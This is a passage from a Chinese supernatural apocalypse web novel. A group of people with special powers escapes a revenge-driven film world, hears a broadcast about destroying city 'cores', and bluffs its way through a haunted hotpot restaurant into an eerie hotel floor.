周围静悄悄的,风儿俏皮穿过祝无忧的手,她不喜安静,也觉得这般两人都不言语的氛围实在是有些尴尬,便借着话头道:“有种早恋的感觉。”
再一程沉默了两秒。
高中校园,深夜,孤男寡女,他还在送祝无忧回宿舍。
这么看上去,确实像在早恋。
他不免有点紧张,阔别校园多年,他都没谈过什么恋爱,更别提早恋了。
祝无忧似乎也意识到自己说了句奇奇怪怪的话,有些尴尬地转移话题:“今天月亮挺圆的哈。”
再一程也有点尴尬,附和道:“是啊。”
两人动作同步,一齐抬头,却没想这根本不是什么普通的高中校园,哪来的月亮?
望着漆黑一片的夜空,祝无忧微笑着闭嘴了。
很快到了女生宿舍,大门紧闭,两人只好来到了侧边。
上面是祝无忧特意为自己留的窗户,她摸了摸鼻子,感觉更奇怪了。
这下不仅像早恋的学生,还像趁着夜晚幽会错过门禁的热恋情侣了。
她哈哈两声:“那、那我就上去了啊。”
再一程没觉得有什么不对,点点头:“好,注意安全。”
祝无忧四肢僵硬地朝前走了两步,回头冲再一程摆摆手,道:“晚安。”
再一程笑了一声:“嗯,晚安。”
……
次日清晨,嘹亮的广播响彻校园。
身着校服的学生稀稀拉拉地前往操场,广播里响彻着教导主任的嘶吼:“后面的,跑起来!都高三了还这么……”
他劈里啪啦地说个不停,祝无忧装模作样地跑了两步,又慢了下来,对再一程道:“你准备怎么做?直接抢话筒吗?”
早晨的阳光算不上刺目,温温柔柔地撒在校园里,再一程跟着她停下:“没那么离谱,但也差不多。”
他身高腿长,悠闲走着也不算慢:“先用异能唬他们一会,再上去抢话筒。”
祝无忧:“你这跟我说的有什么不一样?”
再一程笑了一声:“我这起码有个铺垫,总不是上去硬抢的。”
“那两个学生,你们俩是不是早恋呢?!”教导主任的声音陡然停下,指着他们俩问道。
周遭学生脚步没停,但也统统好奇地看了过来。
祝无忧和再一程同时咳嗽了起来。
“你们俩给我过来!”教导主任一看,这两人还情意绵绵的,顿时觉得他们在挑战自己的威
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严,气急败坏地跑了过来。
祝无忧正想拉着再一程跑,毕竟周围同学那么多,还穿着一样的蓝白校服,跑进人堆里肯定就分辨不出来了。
但再一程却突然想到了什么,停在原地:“诶,被抓上去不就在话筒旁边了吗?”
祝无忧一愣,觉得他说得很有道理,便也乖乖地站着不动。
见状,附近的同学们都像看傻子一样看着他们俩。
教导主任离这还有好一段距离呢,这都不跑?
但教导主任却是消了点气,心道这两孩子还挺老实,怕不是自己当真冤枉了他们?
他已经做好了两个学生跟自己解释的准备,本都想着放他们一马了。
却没想,再一程直言道:“是的,我们就是在早恋。”
祝无忧:“……”
周围同学:“……”
教导主任:“……”
还能这么刚的?
听到这话的同学们顿时面露钦佩,教导主任却是气炸了。
站在这等他过来原来不是为了解释,而是为了特意告诉他两人就是在早恋。
挑衅,这一定是挑衅!
他气急败坏:“你们给我上主席台站着!”
再一程满意了:“好。”
教导主任眼睁睁看着他抓起祝无忧的手腕就往台上走,顿时气不打一处来。
“马上就要高考了,居然还有同学在这个关键时期偷偷摸摸搞一些小动作……”教导主任愤怒的声音通过广播传至校园的每一处。
他恨铁不成钢地瞥了一眼站在自己身侧的两人。
再一程扫了一眼底下的人,每个班都站得整整齐齐,应该是都来齐了。
他勾了勾唇,指尖微动,顿时狂风大作,所有人都被这突如其来的风打了个猝不及防,操场上飞沙走石,一时之间乱了起来。
立在主席台上的话筒差点被吹飞,教导主任死死抓着,半秃的头发被吹得乱七八糟:“大家安静……”
话还没说完,只听见底下同学一声惊呼,面露惊恐地指着他身后。
他愣了一瞬,有些僵硬地回头看去。
再一程和祝无忧也没料到这种情况,也一齐回头看去。
只见主席台上后的半空中被撕开一个大口子,里面漆黑一片,但却无端让人觉得恐惧。
教导主任被也没见过这种情况,顿时吓得后退一步,但他很快反应过来,振臂高呼:“大家快退后,退后!”
同学们乌泱泱地向后退去,教导主任还没忘记站在自己旁边的两个学生,就算是问题学生,他也不可能让他们俩待在这个危险之地。
他不知道这个黑洞是什么,也不知道它什么时候会攻击他们,只能尽快冲过去拉住再一程的胳膊:“快!快走!”
祝无忧眨眨眼睛,猜测可能是庆婷,便对着教导主任摆摆手:“不用,我们来处理。”
教导主任呆愣了一瞬,觉得这孩子怕不是中二病犯了,声音不自觉大了些:“你们处理?你们怎么处理?还不快跟我走!”
祝无忧没管他,转身看向身后的黑洞,勾唇向前跨了一步。
终于轮到我来装逼了。
这黑洞像是被人从半空中劈下,狰狞的撕裂口映出诡异的黑色,她站在黑洞前被衬得只剩小小一点,四周狂风大作,将她的校服衣摆吹得猎猎生风。
祝无忧差点绷不住笑出声,转头对着暗中操控风的再一程比了个大拇指。
论装逼还得是你啊。
感受着来自四面八方的惊叹和教导主任的视线,她顿时装得更厉害了,抽出星牌朗声道:“来者何人!”
47. 和平广场15
再一程偏头笑了一声。
什么“来者何人”,还真演上了。
祝无忧自信满满,她还没像今日这般受万众瞩目,甚至连方才对他们大呼小叫的教导主任如今也怕是要对自己毕恭毕敬吧。
她正想将星牌掷入黑洞,却不想听到里面传来一声轻笑,然后一道身影缓缓显露出身形。
她对上了伏苓似笑非笑的目光。
祝无忧拱拱手:“打扰了,在下告退。”
伏苓勾唇:“别啊,继续呀。”
下一瞬,无数黑雾从黑洞中冒出来,疯狂向四周涌去,原本晴朗的天空顿时不见踪迹,再一程很快反应过来,阴风伴着黑雾扫过所有人的身体。
庆婷的声音陡然出现,空灵而带着彻骨的恨意:“你们都去死!”
这里的同学们哪能不知道这是谁的声音,顿时吓得作鸟兽散,尖叫声此起彼伏。
操场上乱作一锅粥,伏苓却是不甚在意,一脚踹向了傻站在原地的陈彬。
这一觉力度极大,硬生生将人在操场上踹飞了数十米,最终停在草坪边缘。
伏苓收回腿,看向祝无忧:“看上去你在这玩得还挺开心的嘛。”
祝无忧怂怂地道:“没有没有。”
再一程看着飘在空中疯狂攻击学生的庆婷,突然道:“那不是庆婷吧?”
伏苓有些意外地看了他一眼,点了点头:“嗯,那是她的母亲。”
祝无忧短暂地愣了一瞬:“什么玩意?你们看电影了吗凭什么比我先知道剧情?”
程承笑着看了她一眼:“我们直接看的剧本,当然比你快。”
祝无忧:“……”
好趴。
她又想到了昨夜湖面上的女孩:“昨晚那个也不是庆婷?”
伏苓点点头:“差不多吧,反正真正的庆婷早就死了,之后所有的事情都是她母亲的复仇计划。”
她让开了些:“出去吧?”
“哦哦,”祝无忧点点头,迈进了黑洞,又突然道:“可是她这样攻击学生真的没问题吗?”
再一程却是已经想通了:“这些都不是真人吧,只能算是她的执念。”
庆婷逝世,其母亲自然悲愤异常,然而她势单力薄,自然是没办法报复这些即将高考离开校园的人,所以在现实中,庆母应该是没有做成什么事情的。
这才导致了她如此执念。
祝无忧抿了抿唇,终究是没说什么,转身进了黑洞。
再一程对上伏苓的双眸,后者笑了一声:“怎么?担心我也是假的?”
再一程摇摇头:“这倒不可能,只是在想……这么大的裂缝你是怎么做到的。”
伏苓漫不经心,就像在说“吃过了”一般的语气道:“哦,用剑劈开的啊。”
再一程嘴角抽了抽。
还能这么劈开的吗?
他也没摩蹭,干脆进了黑洞。
伏苓扫了一眼已经杀红了眼的“庆婷”,没说什么,便想直接离开,却不料一旁呆愣许久的教导主任终于回神,颤颤巍巍地问:“你们……到底是谁?”
“我们?”伏苓转头看他,眉梢高高挑起:“我们是正义的使者。”
教导主任:“……”
伏苓回到电影院的时候,祝无忧已经跳着离开了座位,声嘶力竭:“我旁边的尸体怎么倒我肩膀上了啊啊啊啊!”
伏苓掏了掏耳朵,从座位上起身:“不小心弄的吧。”
此时的影厅与他们进来之时已经全然不同,倒不是说有什么大的变化,满座依旧是尸体,偏要说有什么地方大变样了的,那应该就是幕布上一刀划下来的巨大裂缝。
灯光大开,靠近入口的空地上,林随遇拿着伏苓的能量枪抵着伏在地上的一位中年女子。
他声音冷沉:“老实点。”
伏苓坐在靠近他们的一个座位上,一旁的地面上还躺着尸体,一看就知道她这是随意找了个座位,并把本来躺在座位上的尸体弄地上去了。
程承想扶她一把,伏苓没伸手,干脆利落地跳过地上的尸体,抬头看向坐在后面的祝无忧和再一程:“下来呗?”
等两人下来,伏苓才看向那个中年女子,祝无忧瞥了一眼,顿时惊道:“诶,这不是那个服务员吗?”
中年女子抬起头露出面容,俨然就是先前售票的那位服务员。
再一程顿时了然:“你就是庆婷的妈妈吧?”
女人目光缓缓移到他身上,突然咧嘴笑了起来。她声音嘶哑,听上去与电影里庆婷的声音别无二致:“是啊。”
周围墙壁满是灰尘,林随安站得笔直:“之前只来得及劈开幕布强行进入电影,还不知道这位庆婷小姐到底是什么情况。”
祝无忧还在直愣愣地看着庆母,闻言才强迫自己把视线从她身上移开:“哦,我们用洞悉牌捋出了事情经过。”
她简单地将电影里发生的事情叙述了一遍,林随遇难以置信:“我们在这出生入死,你们俩在早恋?”
祝无忧:“……没早恋。”
林随遇不依不饶:“这跟早恋有什么区别,而且你们也太安逸了吧?”
祝无忧面无表情:“你能闭嘴吗?”
再一程面上没什么表情,但耳根已经泛红,他轻咳一声,看向庆母:“所以是你用异能将我们塞进电影里的?”
也不知是不是因为在电影里大开杀戒过了,庆母的情绪相对比之前要稳定许多:“对,我的异能就是将人送进电影里。”
她原本一直是荥城一中的宿管,庆婷逝去后,学校很快将她赶了出来,只好来做了影院的售票员。
但让她意外的是,原先她的异能只能送进已有的电影,但进入和平广场后,却意外地可以自己创造电影让其他人进入。
也因此,她才一直留在此处。
虽然一直当宿管,但她对一中的学生只是略有了解,加上女儿如此惨烈地逝去让她大受打击,以至于她对之前的记忆记得不是很全面,所以很多细节都是按照之后的情况来的。
比如电影中思佳提到的升学率问题,原本荥城一中的升学率自然是顶尖的,但由于这一届的高三出了这么大的事情,加上庆母一直在装神弄鬼,导致当年高考很多学生都没有参加,即使参加了成绩也算不上好。
那一年的升学率确实惨不忍睹,但这也是庆母所希望的。
她的女儿无法参加高考,这些逞口舌之快的学生也别想顺顺利利地高考。
后来庆婷的事情到底还是瞒不住的,出了这么大的事情,很多学生都不敢来荥城一中了,后面几年的升学率自然是不好看的。
林随安打断她:“等等,我能问问当年庆婷同学出事的时候,你到底做了什么吗?”
庆母:“电影里发布照片的人是我杀的,但我藏得很好,警察没有抓到我,再加上后来天灾降临,就更没有被关进监狱里的担心了。”
祝无忧问道:“那为什么电影开始的时候不杀他们,
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偏要到最后才杀?”
庆母瞥了她一眼:“你以为我不想吗?在电影里一切都要依据法则来办,你们找不到那些学生我没有办法杀他们的。”
“后来是因为这位女士暴力破开了个口子让我进去,这时候我也不属于电影中的人物了,所以自然不受法则控制。”
说到这,她有些畏惧地看了一眼懒散靠着程承的伏苓。
看到伏苓持剑劈开幕布时她便已经知道这人实力的深不可测了。
看庆母对他们没什么攻击性了,程承手背轻轻碰了伏苓一下,道:“既然人都齐了,我们就先上楼吧。”
林随遇将能量枪在手上转了一圈,他爱不释手道:“你这枪手感也太好了。”
伏苓挑了挑眉:“那先给你拿着。”
林随遇:“真的吗,真的可以吗,那我真拿着了。”
伏苓颔首,林随遇欢天喜地地收下了。
几人往影院外部走去,祝无忧抱住伏苓的胳膊:“对了,我们在里面发现了一个很奇怪的事情。”
她简单说了一下庆婷没有变成感染者的事。
林随安眉头紧锁:“不可能啊,按道理说,淋雨的人肯定会变成二者之一的。”
“我猜,会不会是因为她那个时候受伤了?”程承说。
林随遇摇摇头:“我觉得不是,集庆也有很多人是再受伤后淋的雨,但无一例外,都变成了其中之一。”
“是致命伤吗?”程承追问。
林随遇愣了一下:“……不是。你的意思是,有致命伤的人淋雨不会被感染?这,有什么意义吗?”
“比如……有致命伤的人杀伤力不及其他人?”祝无忧猜测。
林随安立马否定:“不可能。感染者哪有什么致命伤?即便少了半个身子他们也能继续行动。”
“其实我有一个猜想,但前情提要有点复杂。”程承想了想说道,
几人有一搭没一搭的朝着外面走去。
再一程抿唇,还是问道:“为什么要上楼?”
说起来,这件事情就在前情提要里面,程承还没有跟大家解释,刚巧再一程问了,他便准备将事情原委告知。
却没想还没来得及开口,四周就想起了滋滋啦啦的电流声,六人下意识背靠背成防御状态,警惕地打量着周围。
在最初的一声滋啦电流声后,各处能发出声音的联网设备统一播放起了全国人民耳熟能详的民谣。
明明是破旧音响发出的断断续续的音乐,却无端让人心安。
很快,民谣声音落下,取而代之的是一个男人的声音:“喂喂,听得见吗?”
没人回应。
林随遇皱了皱眉:“好像是谢增?”
电流弱化了一个人的音色,他其实也不是很确定。
其他人还没来得及回话,广播便继续说道:“各位能听到我说话的异能者、无能力者、感染者,每一位我国人民,大家好,我是集庆军区第一小队队长,谢增。”
林随安:“还真是他啊,这是怎么了?”
他愣了一下,突然想到:“哦!是不是正午了?”
林随安掏出战备机看了一眼:“嗯,十二点整。”
谢增继续道:“这次全国性的广播是为了告知大家一个好消息,经过我国高级研究员研究发现,这场天灾有结束的可能性。”
他话语未落,全国各地听到广播的人都精神一振,无数人眼巴巴地看着离自己最近的广播设备。
48. 和平广场16
梁州。
楚河一脸冷峻,他下盘极稳,一手将感染者的冲撞力道划去,提膝的同时手臂发力,直接将那感染者推出几米远。
方才想必是爆发了极其惨烈的厮杀,他面庞染血,就连衣服上都沾着片片血迹。他昂着头,目光灼灼地看着悬在高处的广播。
结束……天灾……
这句话如同天上的乐曲一般,让他麻木的心重新跳动起来。
广播发出不堪重负的吱呀声,又很快恢复正常,只是里面的声音还是模糊不清:“研究得出,每一个地级市都有一个核心,它可能是某个格外强大的团体,也可能藏身某个建筑之内,但他们都有同一个特征——拥有核心的那个建筑或团体,处于其中的异能者都会得到加强。”
楚河瞳色暗了暗,他看向不远处的高楼,轻吟出声:“核心……”
广播还在继续:“毁掉核心,所在地级市的感染者就有机会恢复些许神智,在城市里的百姓也才能活下去!否则,所有身处城市的人都会死去。对此,我代表军区,向各方尚有余力的勇士们发出号召,请帮助我们,帮助你们自己,毁掉你所在城市的核心吧!”
这下,所有人都沸腾了。
感染者里面不乏他们的亲朋好友,若是当真可以恢复神智,那大家怎么也得去搏一搏。
更何况,这件事还关系到他们的生死存亡。
听着从四面八方传出来的欢呼声,楚河难得地也多了一分激动。
若是……
若是当真可以恢复神智,那大家是不是都能得救?
楚河眼中露出了些许火光。
那就试一试吧。
……
金城。
一身黑衣的女子手起刀落,击退了对着她进攻的人。
明明对面整齐排列着数十人,她也丝毫不怵,反而是他们显得更为害怕。
领头的人的胳膊被整个切下,鲜血如注,但他却毫不在意,反而死死盯着女人:“这女的还真难缠。”
白色的宽布将她的双眸遮住,脸上的血迹染深了布料,让她精致的面庞多上了几分妖冶。
独属于感染者的奇异纹路从白布下方蔓延出来,听到滋啦的广播,她微微侧头,耳朵轻轻动了动。
“但请注意,丰镐以东的城市不要再向西移动,丰镐以西的城市百姓请尽快向东转移,军区将为你们提供必要的帮助。再次提醒,所有民众,不要越过丰镐向西行动!”
她笑了一声,低声呢喃:“事情开始变得有趣了啊。”
……
祝无忧惊叫出声:“真的能恢复吗?”
程承摇摇头:“只能说可以恢复一些神智,但不能完全恢复。”
伏苓赞同地点点头:“目前我们只能知道,毁掉核心可以让这座城市的感染者不被感染物质彻底控制,到底是什么情况还得看肃州那边。”
林随安回过神,问道:“所以荥城的核心就是和平广场?”
程承点头:“我猜是的。”
在场的都是聪明人,想到和平广场的情况,顿时明白了程承他们为什么要上楼。
下面三楼都被他们大致探索过了,除了他们进入的那些地方没什么别的东西了,所以如果核心在和平广场,那一定处于上面他们还没探索的区域。
几人往前走着,林随安拉回话题:“所以,你的猜想呢?”
“哦。对。”程承说,“前情提要就是广播里的内容,不过要再多一条——核心的存在是为了收集该城市的能量,就像秦磊那个组织一样。”
林随安摸着下巴:“收集能量……”
“没错,所以我在想,这场灾难想要的结果就是能量,他们想收集能量,但能量又从何而来?”程承说,“来自异能,来自雨,可若是他们只是为了回收从这些里面获取的能量,又干什么大费周章地绕这么一圈?所以我一直在想,他们是不是在回收能量的时候,顺带了点什么。”
他顿了顿:“比如……生命?”
林随安舔了舔唇瓣:“可是你这些猜测都基于这场灾难是有幕后boss的,如果真的只是天灾呢?”
祝无忧插嘴:“可是之前我们不是已经证明这场灾难是由某种物质导致的了吗?”
“不,这不一样。”林随安说,“我们所确定的物质导致,是包括破坏环境等等的人类行为,这些行为可能会生成一些什么,使一切的源头起始于肃州。但有幕后boss不一样,这相当于这场灾难是人为的,是他们为了满足自己的欲望或者其他一些什么而故意造成了这场灾难。”
林随遇:“所以你是觉得,这一切都不是人为?”
“也不是,”林随安似乎是不知道怎么说,她声音低了下去,“我只是觉得,如果按照程承的猜测,那……未免太残忍了。”
死了这么多人,居然只是为了某些人的一己私欲,这太残忍了。
程承:“我明白,我也不愿意这么猜测,但现在的情况看来,似乎可能性很大。”
伏苓拍了拍她的肩膀:“我们拉一下话题,也就是说,庆婷没有变成感染者,是因为她本来就快死了,没有什么生命残留,所以能量就没有钻进她体内?”
程承犹豫了一下。
林随遇打了个响指:“但是呢,好像有一点过于匪夷所思了,如果真是这样的话,那岂不是相当于这些能量都有意识?”
讨论陷入瓶颈。
广播后面说了什么他们也没仔细听,等他们聊完广播声音也没了,不过索性有程承伏苓两个知情人在,也没漏掉什么大的信息。
再一程指了指根本不停在这层的电梯:“所以我们怎么上去?”
他突然想到了什么,表情变得有些奇怪:“等等,你们怎么上来的?”
据他所知,和平广场的直梯二三楼是不停的,如今来看扶梯似乎也是不见踪迹的,所以他们是怎么上来的?
他很快就知道了。
因为伏苓闻言用指尖夹着一个圆滚滚的黑色物体,冲他笑了笑,将那玩意抛向前方的天花板。
“砰”。
爆炸声骤然响起,一时间,泥沙板砖框框往下砸,散落一地。
再一程抽了抽嘴角,他指尖带了些颤抖:“你、你们一路都这么上来的?”
绕是他这般见多识广,也从没见过居然会有人直接炸楼。
伏苓友好地笑了一下:“也不是啦。”
再一程松了口气,但一口气还没下去,就听见伏苓笑嘻嘻道:“上二楼的时候炸的是电梯哦。”
再一程:“……”
祝无忧”啪啪“鼓掌:“不愧是你。”
林随遇紧随其后:“不愧是你。”
他用胳膊肘怼了怼林随安,后者无奈:“不愧是你。”
队
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形非常整齐,伏苓非常高兴:“过奖过奖。”
程承扶额:“赶紧上楼吧。”
一群活宝。
再一程浑浑噩噩地跟着他们上了四楼。
他其实有些担心,这般嚣张的举动是否会惹怒和平广场的主人,他下意识看向了程承,后者的眼眸中是与他相似的担忧,但又好像不同。
程承对上他的目光,微笑点头。
他也担心这个问题,只不过他是想将人逼出来。
不见到这位核心所在地段的主人,他们怎么毁掉核心呢?
伏苓炸的位置离四楼火锅店的位置算不上远,至少他们一上来就看到了唯一的那处亮光,六人的脚步声再怎么放轻也都会传出悉悉索索的声音的,于是他们索性大摇大摆地向火锅店走去。
许是没见过这么嚣张的闯入者,站在火锅店外面的员工看着他们六亲不认的步伐颇有些目瞪口呆,直到他们站到店门口还没缓过劲来。
伏苓:“喂,六个人。”
“哦哦,”服务员骤然回神,下意识挂出僵硬而诡异的笑容想吓他们,但这几人就跟没看见一样,让他这般自导自演的吓人场面显得格外滑稽。意识到这点,服务员只好闭上嘴,公事公办道:“请进。”
这家火锅店整个店面都是红色的,四周还挂着红色的彩灯,牌匾歪了一半下来,店里面更是乌黑一片,只能瞧见里面挂着的稀稀拉拉的红色灯带。
即使是他们六人同行,也依旧觉得这家火锅店实在是可怖,但关键就在于,他们人实在是太多了,就算知道这家店看上去恐怖,心里其实也没什么波澜。
再加上伏苓一脸无所谓,想直接把这店炸了又被程承死死抓住手的样子,他们就更不会害怕了,甚至有些为这家店担心。
当然,他们的这些小动作走在前面的服务生是毫无察觉的,他还在尽职尽责地恐吓——自以为的——他们六人,他压低声音,嘶哑着道:“咱们火锅店自从死了人之后就再也没人来了……”
他短暂地停了一瞬,根据以往的经验,这时候身后的人该慌乱起来,然后小心翼翼地询问“什么死了人”。
而这时候,他只需要停下脚步,转过头去让周围的红光打在自己脸上,再阴恻恻地来上一句“不该问的别问”,这些人就能被吓得大气不敢出一声。
但他站在原地等了十几秒,身后都没什么动静,直到伏苓实在是忍不了了,上前踹了他一脚:“站着干什么?走啊”
这服务生为了营造氛围,特意压低了声音,而他们方才还在小声聊天,根本没注意前面这人说了什么,就连程承也没听到他刚才在说话。
伏苓便觉得这服务生停在这实在是堵路,他要是不想带着他们,说一声他们也能自己过去啊,偏要堵在这里做什么?
故意的?
那服务生踉跄了一下,顿时心里什么吓唬人的想法都没了。
妈的,这些人根本就不正常。
他面无表情继续抬脚,甚至都不想重复刚才他们没听到的那句话了。
程承目光落在他的背上,低头道:“他刚才好像说了什么。”
伏苓看了他一眼,下一秒转头问道:“你刚说了什么?再说一遍。”
她说话向来没什么语气,那服务员下意识以为这人在质问自己,害怕被再踢一脚,毫不犹豫:“我说自从店里死了人就再也没来过人了。”
49. 和平广场17
话语未落,祝无忧下意识抱住了站在自己身边的再一程:“他他他说什么?”
再一程小声:“他说店里死了人。”
祝无忧瞪了他一眼:“我这只是一句表达惊恐的话,不是要你再重复一遍。”
“哦。”再一程哪知道这些,闻言虚心道:“我记下了。”
本来听到祝无忧的惊叫服务生还有些自得,都准备将吓人的话再次捞出来试试水了,却没想那两人也不是个正常的。
他欲哭无泪,哪有在这种环境下讨论这种事情的啊!
但此举也彻底打消了他吓唬人的想法,所以当程承礼貌地问“能说说当时什么情况吗”的时候,他没怎么犹豫便将事情简单说了一遍。
事情很简单,其实就是有位客人来火锅店吃饭为难服务员,后者直接把火锅汤底倒在这人的身上,导致其大面积烫伤,最后细菌感染去世了。
这件事再一程倒是有所耳闻,当时在荥城还被讨论了很长时间。有说客人活该的,也有说服务员惨的,总之就是一整个公说公有理,婆说婆有理。最后还是以那位服务员进局子为结局,讨论之声也就满满消下去了。
互联网上信息纷杂而多变,瞬息万变的时间从眼前划过,义愤填膺后很快归于平静。
再一程算是记性比较好的了,很快整理出当时的信息简单向众人解释了一番。
程承皱眉思索:“所以那个服务员什么时候刑满释放?”
再一程摇头:“我不知道,但是天灾开始后估计那边也是乱的。”
所以不好判断这人到底有没有出来。
伏苓扫了一眼依旧背对着他们的服务员,突然道:“欸,是不是你?”
霎时间,整个火锅店一片寂静。
下一秒,火锅店亮如白昼,众人皆是抬臂遮光,下意识摆出了防御姿态。
林随遇冒出来:“额,我就是觉得太黑了,所以开个灯……”
倒也不用这么如临大敌吧?
看着林随遇抛到上空的光球,祝无忧嘴角抽了抽,从再一程身上下来,对他指指点点:“你开灯不能说一声吗?”
林随遇微笑:“你不觉得黑吗?现在还害怕吗?”
你别说,你还真别说。
这火锅店内本还是一幅阴森的模样,如今被照得亮如白昼,每一处都清清楚楚,顿时少了些许恐怖,甚至这店内的布置还挺……温馨的?
服务员也短暂地慌了一瞬,才缓缓转过身,在嘈杂的人声中对上了伏苓的目光。
后者外头挑眉:“看来是咯。”
程承不动声色地上前一步,有些警惕地看着面前之人。
服务员静静看了他们俩几秒,眼珠子夸张地转了几圈,才继续笑着:“客人们先入座吧。”
他对伏苓的问话避而不谈,只是指了一下旁边的六人座的圆桌便离开了。
伏苓不听,直接抬脚跟在他后面。
见状,程承将进了座位的那只腿收回来,也跟在了伏苓身后。
见程承走了,林随遇愣了一瞬,也跟在后面,林随安本就关注着伏苓,伏苓一抬脚她也跟上了。
祝无忧都已经坐下了,看着他们一个接一个地离开,也不想一个人坐在这里,便也站起来追上去:“去哪啊?”
再一程紧随其后:“我不知道。”
祝无忧转头:“那你还跟着?”
再一程:“你们都走了,我一个人坐那?”
林随安道:“伏苓好像是准备跟进后厨。”
“后厨?”林随遇踮了踮脚:“这么猛的吗?”
服务员沉默地看着跟在自己身后的一串人,面无表情:“我说,你们坐在那等我。”
他语气带上了点自己说的话被无视的羞恼成怒和咬牙切齿,伏苓靠在后厨门框上:“不能跟着?”
程承紧随其后:“这店你家开的?”
林随安有些欲言又止地看了一眼程承。
她记得这人刚开始还是很正经的啊,怎么现在有点……夫唱妇随的意思了?
不知道想到了什么,那服务员突然情绪激动了些,他忍着怒气:“后厨重地,闲人免进。”
伏苓摸了摸下巴:“我要是再呛你,你会不会拿火锅泼我?”
那服务员原本激荡的情绪突然静了下来,他漆黑的眼珠一转不转地看着伏苓,后者被盯着也不怵,直勾勾地对上他的目光。
服务员突然笑出声:“这位小姐,你为什么那么确定我就是那个服务员?”
伏苓笑了笑,程承帮忙回答道:“哦,她猜的。”
服务员:“……”
他实在是无言以对了,正思索着怎么应对这些不按常理出牌的人时,后厨的帘子被拉开,露出一张惨白的脸。
那是另一个服务员,她端着一锅滚烫的火锅汤底,红油翻滚着,微微冒着泡沫,火焰在于其中跳跃,映射出红色的光芒。
她抬起头,眼珠子一动不动地看着看在最前面的伏苓:“小姐,您是不是在为难我们的员工?”
伏苓还没来得及回话,她语气突然变得尖锐,带着些许声嘶力竭:“你们这些人都该死!”
霎时间,周围的灯带开始疯狂颤抖,连带着红光也一起跳动,墙壁忽明忽暗。
那锅红油汤底也从原本鲜亮的红色变得暗淡而诡异,汤面上开始冒出缕缕黑烟,散发着令人窒息的气味。
四周响起刺耳的尖叫声,如厉鬼在耳边嘶吼,让所有人的细胞都在跟着颤抖。
林随安捂着耳朵,拉开一旁的凳子坐下,靠着林随遇的那只手抬起抓住他一起落座,林随遇顺手拉住了站在他身侧的再一程一同落座。
随着几人相继“听话”地坐下,周围扭曲的场景逐渐平缓下来,女服务员死死盯着伏苓。
直到这时候,众人才发现伏苓不知道什么时候把隔壁桌的桌布抽出来揉成一团,若不是服务员停下动作,那块沾着油污的桌布可能已经塞进那人的嘴里了。
程承拉了伏苓一下,后者才不情不愿地把桌布扔回去,跟着他们坐在桌边。
等她坐下,那服务员才转动僵硬的眼珠,一步步走近将汤底摆在火锅桌上。她秉承着服务顾客的坚定信念,从一侧桌下的抽屉里抽出筷子递给伏苓。
其他人还在犹豫要不要接,伏苓毫不在意,伸手接过。
火锅开始翻滚,血红的汤底冒着咕噜咕噜的泡,却没有丝毫温度。不顾服务员还站在旁边,伏苓用筷子在锅里搅了搅。
这明显不是正常的火锅,筷子滑动时能感受到很大的阻力,似乎里面装着的不是汤水,而是更加粘腻的东西。
伏苓面不改色继续搅动。然后在触及一处时停了下来。
筷子似乎是戳进里面的什么东西了,伏苓手臂发力,缓缓将筷子提了出来,随着筷子出来的是一团血肉模糊的东西。
祝无忧呕了一声,其他人的表情也算不上好。
伏苓转动了一圈,看清了这团东西的面容,俨然就是站在自己身侧的服务员。
她挑眉看了居高临下看着自己诡异笑出来的服务员,勾唇笑了笑,然后毫不犹豫地将筷子再次塞进汤底里。
服务员:“……?”
她面上的诡笑僵住了,汤下那团东西动了动,似乎是挣扎着想上来。
伏苓另一只手托着腮,好笑似的扫了一眼服务员,又将目光停留在汤底上,然后再次将那玩意摁进锅底。
服务员沉默了,坐着的众人也沉默了。
汤底还在翻滚冒泡,只是已经分不清是因为烧开了还是因为底下那团东西的挣扎。
祝无忧怯生生地看了一眼僵硬的服务员,暗暗猜测:估计是挣扎的。
伏苓笑了一声,将筷子那端的玩意死死摁在汤里:“我们是不是该走剧情?比如说,端起汤底泼你身上,或者……”
她顿了一下,猛地用筷子戳起在汤底里挣扎的肉团怼她面前,几乎要贴到她脸上。
红色的、不知是鲜血还是汤底的液体滴滴答答落在干净的桌面上。
伏苓声音冷冷:“或者这样?你喜欢吗?”
下一瞬,几人只觉得眼前一晃,眼前血红的火锅店场景消失不见,取而代之的是一个柔和温暖的大厅。
暖黄色的灯光温暖地映射在整洁的木质地板上。
淡淡的香气弥漫在空气中,顺着香味望去,能看到接待处的柜台上摆放着一束鲜花,鲜艳而含娇。
一旁的沙发上摆放着柔软的毛毯,看上去格外舒适。
一下子变换太大,众人都有些反应不过来,还是祝无忧讷讷道:“那服务员是被气疯了吗?”
再一程冷静:“也有可能是被吓到了,我看到火锅里那团东西是那位服务员的脑袋。”
祝无忧跳起来捂住他的嘴:“别说了!我以后还怎么吃火锅?”
林随安也缓过神,面色复杂:“我猜也是因为被伏苓气到了,怕是不想跟我们再待在一个空间里。”
伏苓:“过奖。”
程承捏了捏鼻梁,怎么也没想到四楼居然是这样通过的。
他观察了一番周围环境:“这里似乎是再一程说的住宿的地方?”
闻言,众人也从方才的场景中拉回思绪,开始打量起这个干净整洁的大堂。
林随遇摸了摸下巴:“感觉好像……没什么危险?”
说实话,眼前的场景实在是过于温和无害,不光是林随遇,其他人也认为这层没什么让他们警惕的因素。
祝无忧只觉得浑身的毛孔都舒开了,紧张刺激的闯到这里,遇到这般看上去极为安全的地带,她只想躺下睡一觉。
程承扫了他们一眼,道:“之前在集庆幻境里这是这般场景吧?”
安全、祥和,但内里却藏着巨大的阴谋和危险。
闻言,大家又都打起精神来,只有再一程还在状况外:“集庆?那边发生了什么?”
天灾持续八年,各个城市之间的通讯早就断了,也就只剩下广播还在苟延残喘。
再一程只知道集庆那边似乎还算安全,却也不让他人靠近,如今听来,似乎还另有隐情?
“那可就多了,”祝无忧提到这个就兴奋了:“我跟你慢慢说。”
她讲故事一向有一手,有时林随遇还会补上两句,集庆之事被讲得绘声绘色的。
只不过还没说几句,就被柜台后站起来的人打断了:“几位是要住宿吗?”
交谈声陡然停了下来,大厅内顿时落针可闻。
那人却面不改色,露出非常标准的微笑:“各位能走到这里,想必是闯过了楼下的考验,和平广场自然是欢迎各位的到来的,所以特意准备了休息的房间。”
说着,柜台下方的电脑发出机械运转的轰鸣声,接着吐出一张又一张的房卡。
他将一叠房卡放在柜台上,烫金房卡被天花板上的灯印得熠熠生辉。
程承上前一步,摊开那叠房卡。
一共六张,都是高级单人间,也靠在一起。他垂着眸,不知道在想什么,过了几秒才抬眸道:“我们要两个三人间。”
这地方到底在搞什么鬼他还没搞清楚,这种情况下贸然分开不是个好决定。
这个所谓的酒店给他的感觉实在不太好说,他感受不到危险的存在,但也不觉得这里对他们满是善意,是真的想让他们再次休整。
